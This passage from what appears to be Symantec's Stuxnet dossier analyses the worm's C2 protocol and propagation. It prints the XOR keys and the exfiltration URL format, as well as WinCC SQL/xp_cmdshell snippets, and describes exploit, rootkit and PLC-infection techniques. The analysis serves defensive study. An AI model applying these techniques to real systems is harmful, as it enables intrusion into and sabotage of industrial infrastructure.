information from that file is written to the main dll and the checksum of the dll is recalculated to ensure it is stillcorrect.
System data is gathered by export 28 and consists of the following information in the following format:
Part 1:
0x00
0x01
0x02
0x03
0x04
0x05
0x06
0x07
0x08
0x0C
0x0E
0x10
0x11
0x12
0xXX

byte		
byte		
byte		
byte		
byte		
byte		
byte		
byte		
dword		word		
word		
byte		
byte		
string		string		

1, fixed value
from Configuration Data (at offset 14h)
OS major version
OS minor version
OS service pack major version
size of part 1 of payload
unused, 0
unused, 0from C. Data (at offset 10h, Sequence ID)
unknown
OS suite mask
unused, 0
flags
computer name, null-terminateddomain name, null-terminatedPart 2, following part 1:
0x00
0x04
0x08
0x0C
0x10
0x11

dword		dword		dword		dword		byte		
string		

IP address of interface 1, if any
IP address of interface 2, if any
IP address of interface 3, if any
from Configuration Data (at offset 9Ch)
unused, 0
copy of S7P string from C. Data (418h)

Note that the payload contains the machine and domain name, as well as OS information. The flags at offset 11h
have the 4th bit set if at least one of the two registry values is found:• HKEY_LOCAL_MACHINE\Software\Siemens\Step7, value: STEP7_Version• HKEY_LOCAL_MACHINE\Software\Siemens\WinCC\Setup, value: Version
This informs the attackers if the machine is running the targeted ICS programming software Siemens Step7 or
WinCC.
The payload data is then XOR-ed with the byte value 0xFF.
After the data is gathered, export #29 will then be executed (using the previously mentioned injection technique)to send the payload to a target server. The target process can be an existing Internet Explorer process (iexplore.
exe), by default or if no iexplore.exe process is found the target browser process will be determined by examining

Page 21

W32.Stuxnet Dossier

Security Response

the registry key HKEY_CLASSES_ROOT\HTTP\SHELL\OPEN\COMMAND. A browser process is then created andinjected to run Export #29.
Export #29 is used to send the above information to one of the malicious Stuxnet servers specified in the Configuration Data block. First, one of the two below legitimate web servers referenced in the Configuration Data
block are queried, to test network connectivity:• www.windowsupdate.com• www.msn.com
If the test passes, the network packet is built. It has the following format:
0x00
0x04
0x14
0x1A
0x1E

dword		clsid		byte[6]		
dword		byte[size]

1, fixed value
unknown
unknown
IP address of main interface
payload

The payload is then XOR-ed with a static 31-byte long byte string found inside Stuxnet:
0x67, 0xA9, 0x6E, 0x28, 0x90, 0x0D, 0x58, 0xD6, 0xA4, 0x5D, 0xE2, 0x72, 0x66, 0xC0, 0x4A, 0x57, 0x88, 0x5A,
0xB0, 0x5C, 0x6E, 0x45, 0x56, 0x1A, 0xBD, 0x7C, 0x71, 0x5E, 0x42, 0xE4, 0xC1
The result is « hexified » (in order to transform binary data to an ascii string). For instance, the sequence of bytes(0x12, 0x34) becomes the string “1234”.
The payload is then sent to one of the two aforementioned URLs, as the “data” parameter. For example:[http://]www.mypremierfutbol.com/index.php?data=1234...
Using the HTTP protocol as well as pure ASCII parameters is a common way by malware (and legitimate applications for that matter) to bypass corporate firewall blocking rules.
The malicious Stuxnet server processes the query and may send a response to the client. The response payload
is located in the HTTP Content section. Contrary to the payload sent by the client, it is pure binary data. However, it is encrypted with the following static 31-byte long XOR key:
0xF1, 0x17, 0xFA, 0x1C, 0xE2, 0x33, 0xC1, 0xD7, 0xBB, 0x77, 0x26, 0xC0, 0xE4, 0x96, 0x15, 0xC4, 0x62, 0x2E,
0x2D, 0x18, 0x95, 0xF0, 0xD8, 0xAD, 0x4B, 0x23, 0xBA, 0xDC, 0x4F, 0xD7, 0x0C
The decrypted server response has the following format:
0x00
0x04
0x05

dword		byte		
byte[n]		

payload module size (n)command byte, can be 0 or 1
payload module (Windows executable)

Depending on the command byte, the payload module is either loaded in the current process, or in a separate
process via RPC. Then, the payload module’s export #1 is executed.
This feature gave Stuxnet backdoor functionality, as it had the possibility (before the *futbol* domains were
blocked) to upload and run any code on an infected machine. At the time of writing no additional executables
were detected as being sent by the attackers, but this method likely allowed them to download and execute additional tools or deliver updated versions of Stuxnet.

Page 22

Security Response

W32.Stuxnet Dossier

Figure 12

Command and Control

Page 23

Security Response

W32.Stuxnet DossierWindows Rootkit Functionality
Stuxnet has the ability to hide copies of its files copied to removable drives. This prevents users from noticingthat their removable drive is infected before sharing the removable drive to another party and also prevents
those users from realizing the recently inserted removable drive was the source of infection.
Stuxnet via Export 16 extracts Resource 201 as MrxNet.sys. The driver is registered as a service creating the following registry entry:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MRxNet\”ImagePath” = “%System%\drivers\
mrxnet.sys”
The driver file is a digitally signed with a legitimate Realtek digital certificate. The certificate was confirmed ascompromised and revoked on July 16, 2010 by Verisign.
The driver scans the following filesystem driver objects:• \FileSystem\ntfs• \FileSystem\fastfat• \FileSystem\cdfs
A new device object is created by Stuxnet and attached to the device chain for each device object managed bythese driver objects. The MrxNet.sys driver will manage this driver object. By inserting such objects, Stuxnet isable to intercept IRP requests (example: writes, reads, to devices NTFS, FAT or CD-ROM devices).
The driver also registers to a filesystem registration callback routine in order to hook newly created filesystemobjects on the fly.
The driver monitors “directory control” IRPs, in particular “directory query” notifications. Such IRPs are sent to
the device when a user program is browsing a directory, and requests the list of files it contains for instance.
Two types of files will be filtered out from a query directory result:• Files with a “.LNK” extension having a size of 4,171 bytes.
• Files named “~WTR[FOUR NUMBERS].TMP”, whose size is between 4Kb and 8Mb; the sum of the four numbers
modulo 10 is null. For example, 4+1+3+2=10=0 mod 10
These filters hide the files used by Stuxnet to spread through removable drives, including:• Copy of Copy of Copy of Copy of Shortcut to.lnk• Copy of Copy of Copy of Shortcut to.lnk• Copy of Copy of Shortcut to.lnk• Copy of Shortcut to.lnk• ~wtr4132.tmp• ~wtr4141.tmp
In the driver file, the project path b:\myrtus\src\objfre_w2k_x86\i386 \guava.pdb was not removed.
Guavas are plants in the myrtle (myrtus) family genus. The string could have no significant meaning; however, avariety of interpretations have been discussed. Myrtus could be “MyRTUs”. RTU stands for remote terminal unit
and are similar to a PLC and, in some environments, used as a synonym for PLCs. In addition, according to Wikipedia, “Esther was originally named Hadassah. Hadassah means ‘myrtle’ in Hebrew.” Esther learned of a plot toassassinate the king and “told the king of Haman’s plan to massacre all Jews in the Persian Empire...The Jews
went on to kill only their would-be executioners.” Symantec cautions readers on drawing any attribution conclusions. Attackers would have the natural desire to implicate another party.

Page 24

W32.Stuxnet Dossier

Security Response

Stuxnet Propagation Methods
Stuxnet has the ability to propogate using a variety of methods. Stuxnet propagates by infecting removable
drives and also by copying itself over the network using a variety of means, including two exploits. In addition,
Stuxnet propagates by copying itself to Step 7 projects using a technique that causes Stuxnet to auto-execute
when opening the project. The following sections describe the network, removable drive, and Step 7 project
propagation routines.

Network propagation routines
Export 22 is responsible for the majority of the network propagation routines that Stuxnet uses. This export
builds a “Network Action” class that contains 5 subclasses. Each subclass is responsible for a different methodof infecting a remote host.
The functions of the 5 subclasses are:• Peer-to-peer communication and updates• Infecting WinCC machines via a hardcoded database server password• Propagating through network shares• Propagating through the MS10-061 Print Spooler Zero-Day Vulnerability• Propagating through the MS08-067 Windows Server Service Vulnerability
Each of these classes is discussed in more detail below.

Peer-to-peer communication
The P2P component works by installing an RPC server and client. When the threat infects a computer it starts
the RPC server and listens for connections. Any other compromised computer on the network can connect to the
RPC server and ask what version of the threat is installed on the remote computer.
If the remote version is newer then the local computer will make a request for the new version and will update
itself with that. If the remote version is older the local computer will prepare a copy of itself and send it to theremote computer so that it can update itself. In this way an update can be introduced to any compromised computer on a network and it will eventually spread to all other compromised computers.
All of the P2P requests take place over RPC as outlined below.
The RPC server offers the following routines. (Note that RPC methods 7, 8, 9 are not used by Stuxnet.)• 0: Returns the version
number of Stuxnet
installed• 1: Receive an .exe
file and execute it(through injection)• 2: Load module andexecuted export• 3: Inject code into
lsass.exe and run it• 4: Builds the latest
version of Stuxnet andsends to compromised
computer• 5: Create process• 6: Read file• 7: Drop file
• 8: Delete file
• 9: Write data records

Figure 13

Example of an old client requesting latest version of Stuxnet via P2PPage 25

Security Response

W32.Stuxnet Dossier

The RPC client makes the following requests:
1. Call RPC function 0 to get remote version number.
2. Check if remote version number is newer than local version number.
3. If remote version number is newer then:
1. Call RPC function 4 to request latest Stuxnet exe
2. Receive the latest version of Stuxnet
3. Install it locally (via process injection)
4. If the remote version number is older then:
1. Prepare a standalone .exe file of the local Stuxnet version.
2. Send the .exe file to the remote computer by calling RPC function 1.
When trying to connect to a remote RPC server this class uses the following logic.
It will attempt to call RPC function 0 on each of the following bindings in turn, if any RPC call succeeds thenStuxnet proceeds with that binding:
1. ncacn_ip_tcp:IPADDR[135]2. ncacn_np:IPADDR[\\pipe\\ntsvcs]
3. ncacn_np:IPADDR[\\pipe\\browser]
It will then try to impersonate the anonymous token and try the following binding:
4. ncacn_np:IPADDR[\\pipe\\browser]
It then reverts to its own token and finally tries to enumerate through the service control manager (SCM) looking
for any other bindings that may be available:
5. ncacn_ip_tcp:IPADDR (searches in the SCM for available services)
If any of the above bindings respond correctly to RPC function 0 then Stuxnet has found a remote compromised
computer. RPC function 0 returns the version number of the remote Stuxnet infection. Based on this version
number Stuxnet will either send a copy of itself to the remote computer or it will request a copy of the latest version from the remote computer and install it.
RPC function 1 is called in order to receive the latest version from the remote computer and RPC function 4 iscalled to send the latest version of Stuxnet to the remote computer.
Of course Stuxnet does not simply execute the received executable. Instead, it injects it into a chosen process
and executes it that way as outlined in the Injection Technique section.
Furthermore, Stuxnet is actually a .dll file so in order to send an executable version of itself to the attacker
Stuxnet must first build an executable version of itself. It does this by reading in a template .exe from resource
210 and populating it with all of the addition detail that is needed to make an executable version of the currently
installed Stuxnet version, including the latest configuration data and information about the currently compromised computer.
Because the peer-to-peer mechanism occurs through RPC, it is unlikely as an alternative method of commandand control as RPC generally is only effective within a local area network (LAN). The purpose of the peer-to-peer
mechanism is likely to allow the attackers to reach computers that do not have outbound access to the general
Internet, but can communicate with other computers on the LAN that have been infected and are able to contact
the command and control servers.

Infecting WinCC computers
This class is responsible for connecting to a remote server running the WinCC database software. When it findsa system running this software it connects to the database server using a password that is hardcoded within the
WinCC software. Once it has connected it performs two actions. First, Stuxnet sends malicious SQL code to the
database that allows a version of Stuxnet to be transferred to the computer running the WinCC software andexecutes it, thereby infecting the computer that is running the WinCC database. Second, Stuxnet modifies anexisting view adding code that is executed each time the view is accessed.
Page 26

Security Response

W32.Stuxnet Dossier

After sending an SQL configuration query, Stuxnet sends an SQL statement that creates a table and inserts abinary value into the table. The binary value is a hex string representation of the main Stuxnet DLL as an executable file (formed using resource 210) and an updated configuration data block.
CREATE TABLE sysbinlog ( abin image ) INSERT INTO sysbinlog VALUES(0x…)
If successful, Stuxnet uses OLE Automation Stored Procedures to write itself from the database to disk as%UserProfile%\sql[RANDOM VALUE].dbi.
The file is then added as a stored procedure and executed.
SET @ainf = @aind + ‘\\sql%05x.dbi’
EXEC sp _ addextendedproc sp _ dumpdbilog, @ainf
EXEC sp _ dumpdbilog
The stored procedure is then deleted and the main DLL file is also deleted.
Once running locally on a computer with WinCC installed, Stuxnet will also save a .cab file derived from resource
203 on the computer as GracS\cc_tlg7.sav. The .cab file contains a bootstrap DLL meant to load the main Stuxnet DLL, located in GracS\cc_alg.sav. Next, Stuxnet will then modify a view to reload itself. Stuxnet modifies the
MCPVREADVARPERCON view to parse the syscomments.text field for additional SQL code to execute. The SQL
code stored in syscomments.text is placed between the markers –CC-SP and --*.
In particular, Stuxnet will store and execute SQL code that will extract and execute Stuxnet from the saved CAB
file using xp_cmdshell.
set @t=left(@t,len(@t)-charindex(‘\\’,reverse(@t)))+’\GraCS\cc _ tlg7.sav’;
set @s = ‘master..xp _ cmdshell ‘’extrac32 /y “’+@t+’” “’+@t+’x”’’’;
exec(@s);
Then, the extracted DLL will be added as a stored procedure, executed, and deleted. This allows Stuxnet to execute itself and ensure it remains resident.

Propagation through network shares
Stuxnet also can spread to available network shares through either a scheduled job or using Windows Management Instrumentation (WMI).
Stuxnet will enumerate all user accounts of the computer and the domain, and try all available network resources either using the user’s credential token or using WMI operations with the explorer.exe token in order to copy
itself and execute on the remote share.
Stuxnet will determine if the ADMIN$ share is accessible to build the share name of the main drive (e.g.: C$). An
executable is built using resource 210 and customized with the main DLL code and the latest configuration data
block. After enumerating the directories of the network resource, the executable is copied as a random file namein the form DEFRAG[RANDLNT].tmp. Next, a network job is scheduled to execute the file two minutes after infection.
The same process occurs except using WMI with the explorer.exe token instead of using the user’s credential
token.

MS10-061 Print Spooler zero-day vulnerability
This is the zero day Print Spooler vulnerability patched by Microsoft in MS10-061. Although at first it wasthought that this was a privately found/disclosed vulnerability, it was later discovered that this vulnerability
was actually first released in the 2009-4 edition of the security magazine Hakin9 and had been public since thattime, but had not been seen to be used in the wild.

Page 27

Security Response

W32.Stuxnet DossierThis vulnerability allows a file to be written to the %System% folder of vulnerable machines. The actual code tocarry out the attack is stored in resource 222; this export loads the DLL stored in that resource and prepares theparameters needed to execute the attack, namely an IP address and a copy of the worm, and then calls export
one from the loaded DLL. Using this information, Stuxnet is able to copy itself to remote computers as %System%\winsta.exe through the Printer Spooler, and then execute itself. Winsta.exe may contain multiple copies ofStuxnet and grow abnormally large.
Stuxnet will only attempt to use MS10-061 if the current date is before June 1, 2011.

MS08-067 Windows Server Service vulnerability
In addition, Stuxnet also exploits MS08-067, which is the same vulnerability utilized by W32.Downadup. MS08067 can be exploited by connecting over SMB and sending a malformed path string that allows arbitrary execution. Stuxnet uses this vulnerability to copy itself to unpatched remote computers.
Stuxnet will verify the following conditions before exploiting MS08-67:• The current date must be before January 1, 2030
• Antivirus definitions for a variety of antivirus products dated before January 1, 2009
• Kernel32.dll and Netapi32.dll timestamps after October 12, 2008 (before patch day)Page 28

Security Response

W32.Stuxnet Dossier

Removable drive propagation
One of the main propagation methods Stuxnet uses is to copy itself to inserted removable drives. Industrial
control systems are commonly programmed by a Windows computer that is non-networked and operators often
exchange data with other computers using removable drives. Stuxnet used two methods to spread to and fromremovable drives—one method using a vulnerability that allowed auto-execution when viewing the removable
drive and the other using an autorun.inf file.

LNK Vulnerability (CVE-2010-2568)
Stuxnet will copy itself and its supporting files to available removable drives any time a removable drive isinserted, and has the ability to do so if specifically instructed. The removable-drive copying is implemented byexports 1, 19, and 32. Export 19 must be called by other code and then it performs the copying routine immediately. Exports 1 and 32 both register routines to wait until a removable drive is inserted. The exports that cause
replication to removable drives will also remove infections on the removable drives, depending on a configuration value stored in the configuration data block. Different circumstances will cause Stuxnet to remove the files
from an infected removable drive. For example, once the removable drive has infected three computers, the files
on the removable drive will be deleted.
If called from Export 1 or 32, Stuxnet will first verify it is running within services.exe, and determines which
version of Windows it is running on. Next, it creates a new hidden window with the class name ‘AFX64c313’ thatwaits for a removable drive to be inserted (via the WM_DEVICECHANGE message), verifies it contains a logicalvolume (has a type of DBT_DEVTYP_VOLUME), and is a removable drive (has a drive type of DEVICE_REMOVABLE). Before infecting the drive, the current time must be before June 24, 2012.
Next, Stuxnet determines the drive letter of the newly inserted drive and reads in the configuration data to determine if it should remove itself from the removable drive or copy itself to the removable drive. When removing
itself, it deletes the following files:• %DriveLetter%\~WTR4132.tmp• %DriveLetter%\~WTR4141.tmp• %DriveLetter%\Copy of Shortcut to.lnk• %DriveLetter%\Copy of Copy of Shortcut to.lnk• %DriveLetter%\Copy of Copy of Copy of Shortcut to.lnk• %DriveLetter%\Copy of Copy of Copy of Copy of Shortcut to.lnk
If the removable drive should be infected, the drive is first checked to see if it is suitable, checking the following
conditions:• The drive was not just infected, determined by the current time.
• The configuration flag to infect removable drives must be set, otherwise infections occur depending on thedate, but this is not set by default.
• The infection is less than 21 days old.
• The drive has at least 5MB of free space.
• The drive has at least 3 files.
If these conditions are met, the following files are created:• %DriveLetter%\~WTR4132.tmp (~500Kb)(This file contains Stuxnet’s main DLL in the stub section and is derived from Resource 210.)• %DriveLetter%\~WTR4141.tmp (~25Kb)(This file loads ~WTR4132.tmp and is built from Resource 241.)• %DriveLetter%\Copy of Shortcut to.lnk• %DriveLetter%\Copy of Copy of Shortcut to.lnk• %DriveLetter%\Copy of Copy of Copy of Shortcut to.lnk• %DriveLetter%\Copy of Copy of Copy of Copy of Shortcut to.lnk

Page 29

Security Response

W32.Stuxnet Dossier

The .lnk files are created using Resource 240 as a template and four are needed as each specifically targets one
or more different versions of Windows including Windows 2000, Windows XP, Windows Server 2003, Windows
Vista, and Windows 7. The .lnk files contain an exploit that will automatically execute ~WTR4141.tmp when simply viewing the folder.
~WTR4141.tmp then loads ~WTR4132.tmp, but before doing so, it attempts to hide the files on the removable
drive. Hiding the files on the removable drive as early in the infection process as possible is important for the
threat since the rootkit functionality is not installed yet, as described in the Windows Rootkit Functionality section. Thus, ~WTR4141.tmp implements its own less-robust technique in the meantime.
~WTR4141.tmp hooks the following APIs from kernel32.dll and Ntdll.dll:
From Kernel32.dll• FindFirstFileW• FindNextFileW• FindFirstFileExW
From Ntdll.dll• NtQueryDirectoryFile• ZwQueryDirectoryFile
It replaces the original code for these functions with code that checks for files with the following properties:• Files with an .lnk extension having a size of 4,171 bytes.
• Files named ~WTRxxxx.TMP, sized between 4Kb and 8 Mb, where xxxx is:• 4 decimal digits. (~wtr4132.tmp)• The sum of these digits modulo 10 is null. (Example: 4+1+3+2=10=0 mod 10)
If a request is made to list a file with the above properties, the response from these APIs is altered to state thatthe file does not exist, thereby hiding all files with these properties.
After the DLL APIs are hooked, ~WTR4132.tmp is loaded. To load a .dll file normally, a program calls the “LoadLibrary” API with the file name of the .dll file to be loaded into memory. W32.Stuxnet uses a different approach,
not just in the first .dll file Figure 14
but in several different
USB Execution Flowparts of the code. Thismethod is described in
the Bypassing Behavior
Blocking When Loading
DLLs section.
~WTR4132.tmp contains
the main Stuxnet DLL in
the .stub section. This is
extracted into memory
and then Export 15 of
the DLL is called executing the installation of
Stuxnet. Export 15 is
described in the Installation section.
The diagram to the rightdescribes the execution
flow.

Page 30

W32.Stuxnet Dossier

Security Response

AutoRun.Inf
Previous versions of Stuxnet did not use the LNK 0-day exploit, but instead spread via an autorun.inf file. Resource 207 is a 500kb file that was only present in the older version of Stuxnet, and was removed in the newversion.
An autorun.inf file is a configuration file placed on removable drives that instructs Windows to automatically execute a file on the removable drive when the drive is inserted. Typically, one would place the autorun.inf file andexecutable in the root directory of the drive. However, Stuxnet uses a single file. Resource 207 is an executable
file and also contains a correctly formatted autorun.inf data section at the end.
When autorun.inf files are parsed by the Windows OS, the parsing is quite forgiving, meaning that any characters that are not understood as legitimate autorun commands are skipped. Stuxnet uses this to its advantage byplacing the MZ file first inside the autorun.inf file. During parsing of the autorun.inf file all of the MZ file will beignored until the legitimate autorun commands that are appended at the end of the file are encountered. See theheader and footer of the autorun.inf file as shown in the following diagrams.
Figure 15

Autorun.inf header

Figure 16

Autorun.inf footer

When we show only the strings from the footer we can see that they are composed of legitimate autorun commands:
Figure 17

Hidden autorun commands

Notice that Stuxnet uses the autorun commands to specify the file to execute as the actual autorun.inf file. Using
this trick, the autorun.inf file will be treated as a legitimate autorun.inf file first and later as a legitimate executable file.

Page 31

W32.Stuxnet Dossier

Security Response

In addition to this, Stuxnet also uses another trick to enhance the chancesthat it will be executed. The autorun commands turn off autoplay and thenadd a new command to the context menu. The command that is added isfound in %Windir%\System32\shell32.dll,-8496. This is actually the “Open”
string. Now when viewing the context menu for the removable device the user
will actually see two “Open” commands.

Figure 18

Two “Open” commands

One of these Open commands is the legitimate one and one is the command
added by Stuxnet. If a user chooses to open the drive via this menu, Stuxnet
will execute first. Stuxnet then opens the drive to hide that anything suspicious has occurred.

Page 32

Security Response

W32.Stuxnet Dossier

Step 7 Project File Infections
The main export, Export 16, calls Export 2, which is used to hook specific APIs that are used to open project files
inside the s7tgtopx.exe process. This process is the WinCC Simatic manager, used to manage a WinCC/Step7
project.
The Import Address Tables of the following DLLs are modified:• In s7apromx.dll, mfc42.dll, and msvcrt.dll, CreateFileA is replaced to point to “CreateFileA_hook”.
• In ccprojectmgr.exe, StgOpenStorage is replaced to point to “StgOpenStorage_hook”.
CreateFileA is typically used to open *.S7P projects (Step7 project files). Instead, the CreateFileA_hook routine
will be called. If the file opened has the extension .s7p, CreateFileA_hook will call RPC function #9, which is
responsible for recording this path to the encrypted datafile %Windir%\inf\oem6c.pnf, and eventually infect the
project folder inside which the s7p file is located.
StgOpenStorage is used by the Simatic manager to open *.MCP files. These files are found inside Step7 projects.
Like CreateFileA_hook, StgOpenStorage_hook will monitor files with the *.mcp extension. If such a file is accessed by the manager, the hook function will call RPC function #9 to record the path to oem6c.pnf and eventually infect the project folder inside which the mcp file is located.
Export 14 is the main routine for infecting Step 7 project files.
The project infector routine takes a path to a project as input, and can infect it causing Stuxnet to execute when
the project is loaded. The project path may be a regular path to a directory, or a path to zip file containing the
project.
Files inside the projects are listed. Those with extensions .tmp, .s7p or .mcp receive special processing.

S7P files
Files with such extensions are Step7 project files. When such a file is found inside a project folder, the project
may be infected.
The project is a candidate for infection if:• It is not deemed too old (used or accessed in the last 3.5 years).
• It contains a “wincproj” folder with a valid MCP file.
• It is not a Step7 example project, checked by excluding paths matching “*\Step7\Examples\*”.
The infection process then consists of several distinct steps:
1. Stuxnet creates the following files:• xutils\listen\xr000000.mdx (an encrypted copy of the main Stuxnet DLL)
• xutils\links\s7p00001.dbf (a copy of a Stuxnet data file (90 bytes in length)• xutils\listen\s7000001.mdx (an encoded, updated version of the Stuxnet configuration data block)
2. The threat scans subfolders under the “hOmSave7” folder. In each of them, Stuxnet drops a copy of a DLL it
carries within its resources (resource 202). This DLL is dropped using a specific file name. The file name is notdisclosed here in the interests of responsible disclosure and will be referred to as xyz.dll.
3. Stuxnet modifies a Step7 data file located in Apilog\types.
When an infected project is opened with the Simatic manager the modified data file will trigger a search for thepreviously mentioned xyz.dll file. The following folders are searched in the following order:• The S7BIN folder of the Step7 installation folder• The %System% folder• The %Windir%\system folder• The %Windir% folder• Subfolders of the project’s hOmSave7 folder

Page 33

Security Response

W32.Stuxnet Dossier

If the xyz.dll file is not found in one of the first four locations listed above, the malicious DLL will be loaded andexecuted by the manager. This .dll file acts as a decryptor and loader for the copy of the main DLL located in
xutils\listen\xr000000.mdx. This strategy is very similar to the DLL Preloading Attacks that emerged in August.
Versions 5.3 and 5.4 SP4 of the manager are impacted. We are unsure whether the latest versions of the manager (v5.4 SP5, v5.5, released in August this year) are affected.

MCP files
Like .s7p files, .mcp files may be found inside a Step7 project folder. However, they are normally created by
WinCC. Finding such a file inside the project may trigger project infection as well as the WinCC database infection.
The project is a candidate for infection if:• It is not deemed too old (used or accessed in the last 3.5 years).
• It contains a GracS folder with at least one .pdl file in it.
The infection process then consists of several distinct steps:
1. Stuxnet creates the following files:• GracS\cc_alg.sav (an encrypted copy of the main Stuxnet DLL)• GracS\db_log.sav (a copy of a Stuxnet data file, which is 90 bytes in length)• GracS\cc_alg.sav xutils\listen\s7000001.mdx (an encoded, updated version of the Stuxnet configura		tion data block)
2. A copy of resource 203 is then decrypted and dropped to GracS\cc_tlg7.sav. This file is a Microsoft Cabinet filecontaining a DLL used to load and execute Stuxnet.
During this infection process, the WinCC database may be accessed and infections spread to the WinCC database server machine. This routine is described in the Network Spreading section.

TMP files
For every .tmp file found inside the project, the filename is first validated. It must be in the form ~WRxxxxx.tmp,
where ‘xxxxx’ of hexadecimal digits whose sum module 16 is null. For instance, ~WR12346.tmp would qualify
because 1+2+3+4+6 = 16 = 0 mod 16.
The file content is then examined. The first eight bytes must contain the following “magic string”: ‘LRW~LRW~’.
If so, the rest of the data is decrypted. It should be a Windows module, which is then mapped. Export #7 of thismodule is executed.
Stuxnet can also harness infected projects to update itself. If a project is opened and it is already infected, Stuxnet verifies if the version inside is newer than the current infection and executes it. This allows Stuxnet to update
itself to newer versions when possible.
Three possible forms of infected project files exist. A different export handles each form.
Export 9 takes a Step7 project path as input, supposedly infected. It will then build paths to the following Stuxnet files located inside the project:• …\XUTILS\listen\XR000000.MDX• …\XUTILS\links\S7P00001.DBF• …\XUTILS\listen\S7000001.MDX
These files are copied to temporary files (%Temp%\~dfXXXX.tmp) and Export 16, the main entry point within
this potentially newer version of Stuxnet, is executed.

Page 34

Security Response

W32.Stuxnet Dossier

Export 31 takes a Step7 project path as input and supposedly infected. It will then build paths to the following
Stuxnet files located inside the project:• …\GracS\cc_alg.sav• …\GracS\db_log.sav• …\GracS\cc_tag.sav
These files are copied to temporary files (%Temp%\~dfXXXX.tmp). Export #16 within these files is then called to
run this version of Stuxnet.
Export 10 is similar to 9 and 31. It can process Step7 folders and extract Stuxnet files located in the Gracs\ orXutils\ subfolders. It may also process Zip archives.
Export #16 within the extracted files is then used to run the extracted copy of Stuxnet, and eventually update
the configuration data block.

Page 35

W32.Stuxnet Dossier

Security Response

Modifying PLCs
Resource 208 is dropped by export #17 and is a malicious replacement for Simatic’s s7otbxdx.dll file.
First, it’s worth remembering that the end goal of Stuxnet is to infect specific types of Simatic programmable
logic controller (PLC) devices. PLC devices are loaded with blocks of code and data written using a variety oflanguages, such as STL or SCL. The compiled code is an assembly called MC7. These blocks are then run by
the PLC, in order to execute, control, and monitor an industrial process.
The original s7otbxdx.dll is responsible for handling PLC block exchange between the programming device(i.e., a computer running a Simatic manager on Windows) and the PLC. By replacing this .dll file with its own,
Stuxnet is able to perform the following actions:• Monitor PLC blocks being written to and read from the PLC.
• Infect a PLC by inserting its own blocks and replacing or infecting existing blocks.
• Mask the fact that a PLC is infected.
Figure 19

PLC and Step7

Simatic PLC 101

Figure 20

Test equipment

To access a PLC, specificsoftware needs to be installed. Stuxnet specificallytargets the WinCC/Step 7
software.
With this software installed,
the programmer can connect to the PLC with a data
cable and access the memory contents, reconfigure it,
download a program onto it,
or debug previously loaded
code. Once the PLC has been
configured and programmed,
the Windows computer canbe disconnected and the PLC
will function by itself. To give
you an idea of what this looks
like, figure 20 is a photo ofsome basic test equipment.

Page 36

Security Response

W32.Stuxnet Dossier

Figure 21 shows a portion of Stuxnet’s malicious code in the Step7 STL editor. The beginning of the MC7 code forone of Stuxnet’s Function Code (FC) blocks is visible. The code shown is from the disassembled block FC1873.
Figure 21

Stuxnet code in the Step7 STL editor

Figure 22

Step7 and PCL communicating via s7otbxdx.dll

As mentioned previously, the Step 7 software uses a library file called s7otbxdx.dll
to perform the actual communication with
the PLC. The Step7 program calls different routines in this .dll file when it wants
to access the PLC. For example, if a blockof code is to be read from the PLC using
Step7, the routine s7blk_read is called.
The code in s7otbxdx.dll accesses the PLC,
reads the code, and passes it back to the
Step7 program, as shown in figure 22.
Looking at how access to the PLC works
when Stuxnet is installed, once Stuxnet executes, it renames the originals7otbxdx.dll file to s7otbxsx.dll. It thenreplaces the original .dll file with its own
version. Stuxnet can now intercept any
call that is made to access the PLC fromany software package.

Page 37

W32.Stuxnet Dossier

Security Response

Stuxnet’s s7otbxdx.dll file contains all
potential exports of the original .dll file
– a maximum of 109 – which allows it tohandle all the same requests. The majority of these exports are simply forwarded
to the real .dll file, now called s7otbxsx.
dll, and nothing untoward happens. In
fact, 93 of the original 109 exports aredealt with in this manner. The trick, however, lies in the 16 exports that are notsimply forwarded but are instead intercepted by the custom .dll file. The intercepted exports are the routines to read,
write, and enumerate code blocks on the
PLC, among others. By intercepting theserequests, Stuxnet is able to modify thedata sent to or returned from the PLC
without the operator of the PLC realizing
it. It is also through these routines that
Stuxnet is able to hide the malicious codethat is on the PLC.

Figure 23

Communication with malicious version of s7otbxdx.dll

The following are the most common
types of blocks used by a PLC:
• Data Blocks (DB) contain program-specific data, such as numbers, structures,and so on.
• System Data Blocks (SDB) contain information about how the PLC is configured. They are created dependingon the number and type of hardware modules that are connected to the PLC.
• Organization Blocks (OB) are the entry point of programs. They are executed cyclically by the CPU. In regards
to Stuxnet, two notable OBs are:• OB1 is the main entry-point of the PLC program. It is executed cyclically, without specific time requirements.
• OB35 is a standard watchdog Organization Block, executed by the system every 100 ms. This function may
contain any logic that needs to monitor critical input in order to respond immediately or perform functions
in a time critical manner.
• Function Blocks (FC) are standard code blocks. They contain the code to be executed by the PLC. Generally, theOB1 block references at least one FC block.

The infection process
Stuxnet infects PLC with different code depending on the characteristics of the target system. An infection sequence consists of code blocks and data blocks that will be injected into the PLC to alter its behavior. The threat
contains three main infection sequences. Two of these sequences are very similar, and functionally equivalent.
These two sequences are dubbed A and B. The third sequence is dubbed sequence C.
Initially, if the DLL is running inside the ccrtsloader.exe file, the malicious s7otbxdx.dll starts two threads responsible for infecting a specific type of PLC:
• The first thread runs an infection routine every 15 minutes. The targeted PLC information has previously beencollected by the hooked exports, mainly s7db_open(). This infection routine specifically targets CPUs 6ES7315-2 (series 300) with special SDB characteristics. The sequence of infection is A or B.
• The second thread regularly queries PLC for a specific block that was injected by the first thread if the infection process succeeded. This block is customized, and it impacts the way sequences A or B run on the infected
PLC.
Finally, the injection of sequence C appears disabled or was only partially completed. Sequence C can be written
only to the 6ES7-417 family, not the 6ES7-315-2 family mentioned above.
Page 38

Security Response

W32.Stuxnet Dossier

The infection thread, sequences A and B
This thread runs the infection routine every 15 minutes. When a PLC is “found”, the following steps are executed:• First, the PLC type is checked using the s7ag_read_szl API. It must be a PLC of type 6ES7-315-2.
• The SDB blocks are checked to determine whether the PLC should be infected and if so, with which sequence(A or B).
• If the two steps above passed, the real infection process starts. The DP_RECV block is copied to FC1869, andthen replaced by a malicious block embedded in Stuxnet.
• The malicious blocks of the selected infection sequence are written to the PLC.
• OB1 is infected so that the malicious code sequence is executed at the start of a cycle.
• OB35 is also infected. It acts as a watchdog, and on certain conditions, it can stop the execution of OB1.
The three key steps of the infection process are detailed below.

SDB check
The System Data Blocks are enumerated and parsed. Stuxnet must find an SDB with the DWORD at offset 50h
equal to 0100CB2Ch. This specifies the system uses the Profibus communications processor module CP 342-5.
Profibus is a standard industrial network bus used for distributed I/O, In addition, specific values are searched
